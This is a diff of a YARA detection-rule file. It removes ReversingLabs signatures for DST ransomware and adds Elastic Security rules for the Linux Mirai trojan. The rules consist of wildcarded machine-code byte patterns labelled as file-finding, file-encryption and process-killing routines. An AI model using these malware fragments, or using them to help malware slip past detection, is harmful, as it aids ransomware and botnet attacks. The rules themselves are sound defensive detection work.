-            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
-            7D ?? 2B CA D1 F9 8B C7 41 F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? 03
-            D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ??
-            83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ??
-            85 C0 75 ?? 8B 7D ?? 8B CF E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 56 E8 ?? ?? ?? ?? 59 EB
-            ?? 8B 47 ?? 89 30 83 47 ?? ?? 33 DB 6A ?? E8 ?? ?? ?? ?? 59 8B C3 5E 5F 5B 8B E5 5D
-            C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ??
-            ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 89 8D ?? ?? ?? ?? 56 57 3B D3 74
-            ?? 0F B7 02 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 84 C0 75 ?? 83 EA ?? 3B D3 75 ?? 8B
-        }
-		$find_files_win32_p2 = {
-            8D ?? ?? ?? ?? 0F B7 32 83 FE ?? 75 ?? 8D 43 ?? 3B D0 74 ?? 51 33 FF 57 57 53 E8 ??
-            ?? ?? ?? 83 C4 ?? EB ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 2B D3 0F B6 C0 D1 FA 42
-            F7 D8 68 ?? ?? ?? ?? 1B C0 33 FF 23 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B
-            85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74
-            ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B
-            48 ?? 2B 08 C1 F9 ?? 6A ?? 89 8D ?? ?? ?? ?? 59 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD
-            ?? ?? ?? ?? 74 ?? 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 50 FF B5 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ??
-            ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 8B 85 ?? ?? ?? ?? 59 75 ?? 8B 10 8B 40 ?? 8B
-            8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50
-            8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
-        }
-		$encrypt_files_win32_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 83 7D ?? ?? 74 ?? 83 7D ?? ??
-            75 ?? 32 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D ?? E8 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 33 C9 89 4D ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32
-            C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ??
-            51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 33 D2 89 55 ?? C7 45 ?? ?? ?? ?? ?? 33 C0 89 45 ?? 0F 57 C0 66 0F 13 85 ??
-            ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 D2 ?? 89 8D
-            ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 0F 8F ?? ?? ?? ?? 7C ?? 8B
-            8D ?? ?? ?? ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 6A ?? 8D 55 ?? 52
-        }
-		$encrypt_files_win32_p2 = {
-            8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50
-            68 ?? ?? ?? ?? 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0
-            75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ??
-            ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0
-            75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 05 ?? ?? ?? ?? 89 45 ?? 8B 4D ?? 3B 4D ??
-            0F 83 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 03 45 ?? 50 6A ?? 8D 4D ??
-            E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 6A ?? 8B 4D ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 0F B6 D0
-            85 D2 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9
-            ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 55
-            ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? EB ?? E9 ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4D
-            ?? 8B 95 ?? ?? ?? ?? 89 55 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85
-        }
-		$encrypt_files_win32_p3 = {
-            8B 8D ?? ?? ?? ?? 89 4D ?? 8B 95 ?? ?? ?? ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51
-            8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51
-            8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 55 ?? 52
-            FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 39 45 ?? 75 ?? 0F 57
-            C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 4D
-            ?? 89 4D ?? 8B 55 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 6A ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15
-            ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? 8A 45 ?? EB ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? 8A 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B
-            E5 5D C2
-        }
+		$a = { 24 97 00 00 00 89 6C 24 08 89 74 24 04 89 14 24 0F B7 C0 89 44 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_win32_p*)) and ( all of ($encrypt_files_win32_p*)) and ( all of ($encrypt_network_shares_win32_p*))
+		all of them
 }
-rule REVERSINGLABS_Win64_Ransomware_DST : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Fa48B592 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects DST ransomware."
-		author = "ReversingLabs"
-		id = "bcc9933d-14eb-5f83-a136-5f009c7a3282"
-		date = "2021-12-06"
-		modified = "2021-12-06"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.DST.yara#L1-L170"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "b658093232a2265d425e3b38758268c116bbac51fa5eed372b5b4f00de4c6880"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "fa48b592-8d80-45af-a3e4-232695b8f5dd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L891-L909"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c9e33befeec133720b3ba40bb3cd7f636aad80f72f324c5fe65ac7af271c49ee"
+		logic_hash = "5648bcc96b1fdd1529b4b8765b1738594d0d61f7880b763e803cd89bd117e96b"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "DST"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "8838d2752b310dbf7d12f6cf023244aaff4fdf5b55cf1e3b71843210df0fcf88"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_B9A9D04B : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "b9a9d04b-a997-46c4-b893-e89a3813efd3"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L911-L928"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "61575576be4c1991bc381965a40e5d9d751bba2680a42907b0148651716419fc"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "874249d8ad391be97466c0259ae020cc0564788a6770bb0f07dd0653721f48b1"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC
-            24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ??
-            ?? 48 89 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 85 DB 0F 84 ?? ?? ?? ?? 48
-            89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 4C 24 ??
-            31 C9 31 FF E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 DB
-            0F 85 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 0D ?? ??
-            ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ??
-            ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 0F 1F 00
-            E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ??
-            ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 DB 0F 85
-            ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 0D
-        }
-		$encrypt_files_p2 = {
-            48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 8C 24
-            ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 44 24 ?? E8 ?? ?? ?? ?? 90 85 C0 0F 85 ?? ?? ?? ??
-            48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ??
-            BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ??
-            ?? 48 85 DB 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ??
-            ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 85 C9 0F 85 ?? ?? ?? ??
-            48 89 5C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 51 ?? 48 8B 84 24 ?? ??
-            ?? ?? FF D2 48 8B 0D ?? ?? ?? ?? 83 B9 ?? ?? ?? ?? ?? 75 ?? 48 89 C2 48 C1 E0 ?? 48
-            8D 70 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 D1 48 F7 EE 48 8D 14 CA 48 8D 52 ?? 48
-        }
-		$encrypt_files_p3 = {
-            C1 FA ?? 48 C1 FE ?? 48 29 F2 EB ?? 48 8D 70 ?? 48 89 C1 48 B8 ?? ?? ?? ?? ?? ?? ??
-            ?? 48 F7 EE 48 8D 14 0A 48 8D 52 ?? 48 D1 FA 48 C1 FE ?? 48 29 F2 48 C1 E2 ?? 48 8D
-            4A ?? 48 89 4C 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 CB E8 ?? ?? ?? ?? 48 89 C3 48 8B 4C
-            24 ?? 48 89 CF 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89
-            8C 24 ?? ?? ?? ?? 48 85 DB 0F 85 ?? ?? ?? ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4C
-            24 ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 D9 48 89 C3 48 8B 84
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85
-            DB 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 31 FF 48 8B 74
-            24 ?? 4C 8B 84 24 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 85 DB 0F
-            85 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 C3 48 8D 0D ?? ?? ?? ?? 48 8B BC 24 ??
-            ?? ?? ?? 31 F6 45 31 C0 4D 89 C1 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ??
-            ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24
-            ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ??
-            ?? 31 DB 31 C9 E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85
-            DB 74 ?? 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC
-            24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 94 24 ?? ?? ?? ?? 48 8B 72 ?? 48 8B 42
-            ?? 48 8B 56 ?? 31 DB 31 C9 48 89 CF FF D2 48 8B 15 ?? ?? ?? ?? 48 89 CF 48 89 D9 48
-        }
-		$encrypt_files_p4 = {
-            89 C3 48 89 D0 E8 ?? ?? ?? ?? 48 89 D9 48 89 C3 48 8B 84 24 ?? ?? ?? ?? 0F 1F 40 ??
-            E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48
-            8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ??
-            ?? ?? C3 90 0F 1F 40 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ??
-            ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ??
-            ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90
-            E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ??
-            ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ??
-            ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84
-            24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ??
-            C3 90 66 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC
-            24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48
-            8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ??
-            ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4
-            ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48
-            8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ??
-            ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 66 90
-            E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ??
-            ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 89 7C 24
-            ?? E8
-        }
-		$find_files_p1 = {
-            4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC
-            24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ??
-            ?? 48 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 DB 7E ?? 48 89 5C 24 ?? 31 C9 EB ??
-            48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 9C 24 ?? ?? ?? ?? 48 8D 43 ??
-            48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 10 48 89 54 24 ?? 48 8B 58 ?? 48 89 5C
-            24 ?? 48 8B 72 ?? 48 89 D8 FF D6 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48
-            8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 49 89 C0 49 89 D9 31 C0 48
-            8B 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 8B 4C 24 ?? 48
-            8B 51 ?? 48 8B 44 24 ?? FF D2 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D
-            4B ?? 66 90 E9 ?? ?? ?? ?? 48 29 CB 48 89 DA 48 F7 DB 48 C1 FB ?? 48 21 D9 48 01 C1
-            48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? EB ?? 31 D2 31 C9 48 89 C8 48 89 D3
-            E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ??
-            48 8B 3D ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 66 90 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8D BC
-            24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 48 89 6C 24 ?? 48 8D 6C
-        }
-		$find_files_p2 = {
-            24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48 8D 84 24 ?? ?? ?? ?? 31 C9 0F 1F 00 E9 ?? ?? ??
-            ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 44 24 ?? FF D1 84 C0 74 ?? 48 8B 44 24 ?? 48 8B
-            5C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 8B 54 24
-            ?? 0F 1F 00 48 39 CA 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 FF C9 48 85 C9 0F 8C ?? ??
-            ?? ?? 0F B6 14 08 66 90 80 FA ?? 0F 84 ?? ?? ?? ?? 80 FA ?? 0F 84 ?? ?? ?? ?? 80 FA
-            ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 42 ?? 48 89 4C 24 ?? 48 89 84
-            24 ?? ?? ?? ?? 48 8B 10 48 89 54 24 ?? 48 8B 70 ?? 48 89 74 24 ?? 48 8B 5C 24 ?? 48
-            8B 44 24 ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B 44
-            24 ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ??
-            48 89 DF 48 89 D3 48 89 C2 48 89 C8 48 89 D1 E8 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ??
-            48 85 C0 0F 8D ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 83 F9 ?? 0F 8C ?? ?? ?? ?? 48
-            8B 4C 24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 84
-            24 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 44 24 ??
-            48 89 5C 24 ?? 48 89 4C 24 ?? 66 90 E8
-        }
-		$kill_procs_p1 = {
-            4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC
-            24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48
-            89 5C 24 ?? 31 C9 66 90 EB ?? 48 8B 54 24 ?? 48 8D 4A ?? 48 8B 84 24 ?? ?? ?? ?? 48
-            8B 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 39 CB 0F 8E ?? ?? ?? ?? 48 89 4C 24 ?? 48 C1
-            E1 ?? 48 8B 1C 08 48 89 5C 24 ?? 48 8B 4C 08 ?? 48 89 4C 24 ?? 48 8B 73 ?? 48 89 C8
-            FF D6 48 89 1D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 89 05 ?? ?? ?? ?? EB ?? 48
-            8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 44 24 ?? FF D1 48
-            89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B
-            3D ?? ?? ?? ?? 48 89 C3 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48
-            89 08 48 8D BC 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 48 A5 48 8D BC
-            24 ?? ?? ?? ?? 48 8D 7F ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ??
-            48 8D 05 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            EB ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8D 84 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 48 85 C9 0F 84 ?? ?? ??
-            ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 12 48 89 54 24 ?? 48 8B 01 48 89 44 24 ?? 48 8B 59
-            ?? 48 89 5C 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 31 F6 EB ?? 48 8B 94 24 ?? ?? ?? ?? 48 83
-        }
-		$kill_procs_p2 = {
-            C2 ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 89 CE 48 89 D1 48 89 74 24 ?? 48 89 8C 24 ??
-            ?? ?? ?? 48 8B 11 48 89 54 24 ?? 48 8B 79 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C
-            24 ?? 48 8B 7C 24 ?? 90 E8 ?? ?? ?? ?? 48 85 C0 0F 8C ?? ?? ?? ?? 48 8B 44 24 ?? BB
